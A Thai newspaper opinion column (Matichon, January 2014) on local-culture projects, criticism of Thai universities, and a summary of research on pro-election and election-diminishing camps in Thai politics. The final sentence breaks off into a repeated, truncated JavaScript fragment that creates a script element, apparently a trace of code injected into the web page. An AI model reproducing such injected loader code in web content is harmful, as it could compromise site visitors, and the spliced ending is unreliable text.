มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 9 มกราคม 2557

 

ของดีมีอยู่ที่ท้องถิ่น

          พะเยา มาจากไหน? ผมเขียนอย่างย่อๆสั้นๆ เมื่อ พ.ศ. 2554 ให้มหาวิทยาลัยพะเยา จ. พะเยา ตามที่อธิการบดีขอมา เพื่อพิมพ์เป็นเล่มบางๆ แจกจ่ายครูบาอาจารย์พนักงานและนักศึกษา กับเป็นสคริปต์จัดแสดงนิทรรศการประจำมหาวิทยาลัยพะเยา

          ส่งต้นฉบับให้แล้วก็แล้วกันไป ผมไม่รู้อีกเลยว่ามีแจกจ่ายแล้วมีนิทรรศการหรือไม่? สำเร็จหรือล้มเหลว? ฯลฯ จนลืมสนิท

          มานึกขึ้นได้เมื่ออ่านข่าว(มติชน ฉบับวันพุธที่ 25 ธันวาคม 2556 หน้า 22) เรื่องรากวัฒนธรรมของกระทรวงวัฒนธรรม (วธ.)

          โครงการรากวัฒนธรรม (ของดีบ้านฉัน) เป็นงานสำคัญของ วธ. พ.ศ. 2557 เพื่อสร้างความผูกพัน และความภาคภูมิใจในบ้านเกิดของแต่ละชุมชน โดยเน้นประเพณี, ศิลปะการแสดง, อาหาร, ฯลฯ

          นอกจากเก็บรวบรวมเป็นฐานข้อมูลแล้วยังใช้ต่อยอดสู่ “อุตสาหกรรมวัฒนธรรมสร้างสรรค์” เพื่อสร้างมูลค่าเพิ่มทางเศรษฐกิจอย่างยั่งยืนและอย่างอื่นๆ ด้วย

          ผมเชื่อว่ารากวัฒนธรรมจะสำเร็จได้ดี ถ้ามีกิจกรรมแบ่งปันเผยแพร่ความรู้อย่างสม่ำเสมอเสียก่อน เกี่ยวกับความเป็นมาของชุมชนท้องถิ่นนั้น

          แต่สถาบันการศึกษาในไทยส่วนมากทำเรื่องอย่างนี้เป็นแค่ผักชีโรยหน้าชั่วครั้งชั่วคราว พอได้ลาภยศสรรเสริญเจริญพรแล้วก็เลิกราไป และส่วนมากไม่ทำเลย

          การศึกษาไทยกล่อมเกลาจนถึงครอบงำและบังคับบัญชาให้คนยอมจำนนอย่างเชื่องๆ เพราะกำเนิดมหาวิทยาลัยไทยรับใช้การเมืองการปกครองของคนชั้นสูงที่ไม่ประชาธิปไตย ซึ่งเท่ากับสนับสนุนความเหลื่อมล้ำ ไม่เสมอภาค ไม่เท่าเทียม

          อาจารย์มหาวิทยาลัยส่วนมากอนุรักษนิยมและจารีตนิยม จึงเน้นความสืบเนื่องอย่างยั่งยืน แล้วต่อต้านการเปลี่ยนแปลงอย่างรู้เท่าทัน

 

การเมืองแบบเลือกตั้ง

          การเมืองแบบเลือกตั้งของไทยมีอย่างน้อย 2 ระดับ คือ ระดับชาติและระดับท้องถิ่น

          คนไทยโดยรวมๆ กว้างๆ ทั้งในกรุงเทพฯและต่างจังหวัด มีทัศนะต่อการเลือกตั้งต่างกัน อย่างน้อย 2 กลุ่มใหญ่ๆ คือ กลุ่มปกป้องการเลือกตั้ง และกลุ่มลดทอนการเลือกตั้ง

          ทัศนะต่างกันนี้ มีคำอธิบายละเอียดอยู่ในหนังสือชื่อทบทวนภูมิทัศน์การเมืองไทย งานวิจัยของ อ. อภิชาต สถิตนิรามัย (ธรรมศาสตร์), อ. ยุกติ มุกดาวิจิตร (ธรรมศาสตร์), อ. นิติ ภวัครพันธุ์ (จุฬาฯ) จะสรุปมาต่อไปนี้

          กลุ่มปกป้องการเลือกตั้ง มีนิยามขั้นต่ำของความเป็นประชาธิปไตย คือต้องมีการเลือกตั้ง ซึ่งทุกคนมีหนึ่งเสียงเท่าเทียมกันในการแต่งตั้งและถอดถอนผู้ปกครองของตน และเกือบจะเป็นเครื่องมือทรงประสิทธิผลชิ้นเดียวที่พวกเขามีอยู่

          กลุ่มปกป้องการเลือกตั้งต้องการพื้นที่ทางการเมือง เพื่อผลักดันผลประโยชน์ของกลุ่มตนเอง

          ปัญหาที่เขาเผชิญอยู่เป็นปัญหาทางการเมือง ไม่ใช่การร้องทุกข์ทางเศรษฐกิจ หรือร้องขอการอุปถัมภ์จากรัฐ เมื่อพวกตนเป็นหุ้นส่วนหนึ่งของสังคมการเมือง จึงมีสิทธิ์ที่จะกำหนดชะตากรรมของตนเอง

          รวมทั้งสำนึกว่าตนไม่ใช่ไพร่ ข้า หรือพสกนิกร ซึ่งไม่มีสิทธิ์ไม่มีเสียงในการกำหนดความเป็นไปของบ้านเมือง พวกตนจึงมีสิทธิ์ที่จะกำหนดชะตากรรมของบ้านเมืองเช่นกัน

          กลุ่มลดทอนการเลือกตั้ง มีศูนย์กลางอยู่กรุงเทพฯ (จึงใช้กรุงเทพฯเป็นกรณีตัวอย่าง) เพราะการเมืองแบบเลือกตั้งทั้งสองระดับไม่ส่งผลที่เห็นได้ชัดเจนต่อชีวิตประจำวันของคน เนื่องจากกรุงเทพฯมีฐานะเป็นศูนย์กลางของประเทศในทุกด้าน จนมีคำพูดว่า “กรุงเทพฯ คือ ประเทศไทย”

          ดังนั้นรัฐบาลทุกชุด ไม่ว่าจะมาจากพรรคใด (สีใด) ที่ชนะการเลือกตั้ง ต้องดูแลกรุงเทพฯ มากกว่าจังหวัดอื่นๆ คนกรุงเทพฯจึงไม่มีความจำเป็นต้องใช้การเลือกตั้งเป็นเครื่องมือในการดึงทรัพยากรของสังคมมาหล่อเลี้ยง

          พูดอีกอย่างหนึ่งได้ว่าคนกลุ่มนี้มีเครื่องมืออื่นๆ ที่มีประสิทธิผลในการต่อรองกับรัฐได้มากกว่าการเลือกตั้ง จึงร่วมกันลดทอนความสำคัญของการเลือกตั้ง

          สื่อกระแสหลักทุกแขนง เป็นตัวแทนและกระบอกเสียงของคนชั้นนี้  จนกระทั่งไม่มีรัฐบาลใดในอดีตที่จะอยู่รอดทางการเมืองได้โดยไม่ต้องสนใจการวิพากษ์วิจารณ์ของสื่อมวลชน

          ในอีกแง่หนึ่ง คนกรุงเทพฯโดยเฉลี่ยแล้วมีฐานะดีกว่าคนต่างจังหวัด มีรายได้และระดับการศึกษาสูงกว่า มีอาชีพที่มั่นคงกว่าคนกรุงเทพฯ จึงพึ่งตัวเองในฐานะปัจเจกชนได้มากกว่า

          คนกรุงเทพฯส่วนใหญ่จึงสนับสนุนรัฐประหาร และมองนโยบายประชานิยมในแง่ลบ ซึ่งตนไม่ค่อยได้ประโยชน์นั้น แต่เป็นการดึงทรัพยากรของรัฐออกไปเลี้ยงคนต่างจังหวัดvar d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);